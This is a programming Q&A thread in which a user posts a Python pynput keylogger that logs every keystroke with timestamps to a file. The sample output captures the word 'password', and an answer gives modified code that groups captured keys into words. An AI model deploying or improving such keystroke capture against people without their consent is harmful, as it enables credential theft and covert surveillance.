Reputation: 321
from pynput.keyboard import Key, Listener
import logging
log_dir = "C:/Users/noswear/Desktop/Mail/"
logging.basicConfig(filename = (log_dir + "key_log.txt"),level = logging.DEBUG, format = '%(asctime)s:%(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press = on_press) as listener:
listener.join()
The above program gives output like this:
2018-05-07 20:54:56,020:'m'
2018-05-07 20:54:57,010:Key.backspace
2018-05-07 20:55:00,192:'p'
2018-05-07 20:55:00,366:'a'
2018-05-07 20:55:00,485:'s'
2018-05-07 20:55:00,695:'s'
2018-05-07 20:55:01,432:'w'
2018-05-07 20:55:01,653:'o'
2018-05-07 20:55:01,857:'r'
2018-05-07 20:55:02,056:'d'
How can I club together by minutes, where all stroke in a minute is stored in a single line?
Something like this
2018-05-07 20:54:mKey.backspace
2018-05-17 20:55:password
Upvotes: 1
Views: 573
Reputation: 131
IMHO: It's a bit difficult to determine by time, and ugly to read by words, but think that if you want to process it later, procedural by words will be easier. It's just a suggestion!
from pynput.keyboard import Key, Listener
import logging
chain = ""
logging.basicConfig(filename = ("key_log.txt"),level = logging.DEBUG, format = '%(asctime)s:%(message)s')
def on_press(key):
global chain
k = str(key)
if(k[0:2] == "u'"): # using the pattern that pynput uses we can determine when a letter is pressed
chain += k[2:3]
else:
logging.info(str(chain) + " " + k)
chain = "" # set the chain again to empty
with Listener(on_press = on_press) as listener:
listener.join()
Upvotes: 1